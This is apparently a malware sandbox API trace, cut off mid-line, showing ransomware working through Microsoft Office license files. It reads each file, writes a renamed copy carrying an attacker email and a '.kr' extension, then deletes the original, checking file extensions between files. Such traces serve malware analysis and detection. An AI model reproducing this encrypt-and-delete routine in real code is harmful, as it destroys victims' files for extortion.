[0213.132] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.132] lstrlenW (lpString="PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 34 [0213.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.133] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11607) returned 1 [0213.133] CloseHandle (hObject=0x554) returned 1 [0213.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0213.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.133] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.133] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.134] GetLastError () returned 0x0 [0213.134] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d57, lpOverlapped=0x0) returned 1 [0213.136] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0213.137] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.137] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0213.137] SetEndOfFile (hFile=0x3c4) returned 1 [0213.137] CloseHandle (hObject=0x3c4) returned 1 [0213.137] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.137] SetEndOfFile (hFile=0x554) returned 1 [0213.140] CloseHandle (hObject=0x554) returned 1 [0213.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-oob.xrm-ms")) returned 1 [0213.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.142] lstrlenW (lpString=".doc") returned 4 [0213.142] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.142] lstrlenW (lpString=".docx") returned 5 [0213.143] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.143] lstrlenW (lpString=".pdf") returned 4 [0213.143] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".xls") returned 4 [0213.143] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".xlsx") returned 5 [0213.143] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.143] lstrlenW (lpString=".ppt") returned 4 [0213.143] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString=".zip") returned 4 [0213.143] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".rar") returned 4 [0213.143] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".bz2") returned 4 [0213.143] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".7z") returned 3 [0213.143] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString=".dbf") returned 4 [0213.143] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString=".1cd") returned 4 [0213.143] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString=".jpg") returned 4 [0213.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.143] lstrlenW (lpString=".doc") returned 4 [0213.143] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.143] lstrlenW (lpString=".docx") returned 5 [0213.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.144] lstrlenW (lpString=".pdf") returned 4 [0213.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString=".xls") returned 4 [0213.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString=".xlsx") returned 5 [0213.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.144] lstrlenW (lpString=".ppt") returned 4 [0213.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.144] lstrlenW (lpString=".zip") returned 4 [0213.144] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString=".rar") returned 4 [0213.144] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString=".bz2") returned 4 [0213.144] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString=".7z") returned 3 [0213.144] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.144] lstrlenW (lpString=".dbf") returned 4 [0213.144] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.144] lstrlenW (lpString=".1cd") returned 4 [0213.144] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-oob.xrm-ms") returned 84 [0213.144] lstrlenW (lpString=".jpg") returned 4 [0213.144] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.144] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.144] lstrlenW (lpString="PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 34 [0213.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.145] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=19952) returned 1 [0213.145] CloseHandle (hObject=0x554) returned 1 [0213.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0213.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.146] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.146] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.147] GetLastError () returned 0x0 [0213.147] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4df0, lpOverlapped=0x0) returned 1 [0213.421] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0213.422] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.422] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0213.422] SetEndOfFile (hFile=0x3c4) returned 1 [0213.423] CloseHandle (hObject=0x3c4) returned 1 [0213.423] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.423] SetEndOfFile (hFile=0x554) returned 1 [0213.428] CloseHandle (hObject=0x554) returned 1 [0213.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ul-phn.xrm-ms")) returned 1 [0213.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.435] lstrlenW (lpString=".doc") returned 4 [0213.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.435] lstrlenW (lpString=".docx") returned 5 [0213.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.435] lstrlenW (lpString=".pdf") returned 4 [0213.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.435] lstrlenW (lpString=".xls") returned 4 [0213.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".xlsx") returned 5 [0213.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.436] lstrlenW (lpString=".ppt") returned 4 [0213.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString=".zip") returned 4 [0213.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".rar") returned 4 [0213.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".bz2") returned 4 [0213.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".7z") returned 3 [0213.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString=".dbf") returned 4 [0213.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString=".1cd") returned 4 [0213.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString=".jpg") returned 4 [0213.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.436] lstrlenW (lpString=".doc") returned 4 [0213.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".docx") returned 5 [0213.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.436] lstrlenW (lpString=".pdf") returned 4 [0213.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.436] lstrlenW (lpString=".xls") returned 4 [0213.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString=".xlsx") returned 5 [0213.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.437] lstrlenW (lpString=".ppt") returned 4 [0213.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.437] lstrlenW (lpString=".zip") returned 4 [0213.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString=".rar") returned 4 [0213.437] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString=".bz2") returned 4 [0213.437] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString=".7z") returned 3 [0213.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.437] lstrlenW (lpString=".dbf") returned 4 [0213.437] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.437] lstrlenW (lpString=".1cd") returned 4 [0213.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ul-phn.xrm-ms") returned 84 [0213.437] lstrlenW (lpString=".jpg") returned 4 [0213.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.437] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.437] lstrlenW (lpString="PowerPointVL_KMS_Client-ppd.xrm-ms") returned 34 [0213.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.439] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6798) returned 1 [0213.439] CloseHandle (hObject=0x51c) returned 1 [0213.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms")) returned 0x220 [0213.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0213.442] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.442] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.443] GetLastError () returned 0x0 [0213.443] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1a8e, lpOverlapped=0x0) returned 1 [0213.457] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1a90, lpOverlapped=0x0) returned 1 [0213.458] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.458] WriteFile (in: hFile=0x554, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x118, lpOverlapped=0x0) returned 1 [0213.458] SetEndOfFile (hFile=0x554) returned 1 [0213.458] CloseHandle (hObject=0x554) returned 1 [0213.458] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.459] SetEndOfFile (hFile=0x51c) returned 1 [0213.461] CloseHandle (hObject=0x51c) returned 1 [0213.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms")) returned 1 [0213.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.462] lstrlenW (lpString=".doc") returned 4 [0213.462] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.462] lstrlenW (lpString=".docx") returned 5 [0213.462] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.463] lstrlenW (lpString=".pdf") returned 4 [0213.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".xls") returned 4 [0213.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".xlsx") returned 5 [0213.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.463] lstrlenW (lpString=".ppt") returned 4 [0213.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString=".zip") returned 4 [0213.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".rar") returned 4 [0213.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".bz2") returned 4 [0213.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".7z") returned 3 [0213.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString=".dbf") returned 4 [0213.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString=".1cd") returned 4 [0213.463] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString=".jpg") returned 4 [0213.463] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.463] lstrlenW (lpString=".doc") returned 4 [0213.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.463] lstrlenW (lpString=".docx") returned 5 [0213.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.463] lstrlenW (lpString=".pdf") returned 4 [0213.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString=".xls") returned 4 [0213.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString=".xlsx") returned 5 [0213.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.464] lstrlenW (lpString=".ppt") returned 4 [0213.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms") returned 84 [0213.464] lstrlenW (lpString=".zip") returned 4 [0213.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString=".rar") returned 4 [0213.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.464] lstrlenW (lpString=".bz2") returned 4 [0213.464] lstrcmpiW (lpString1=".bz2", 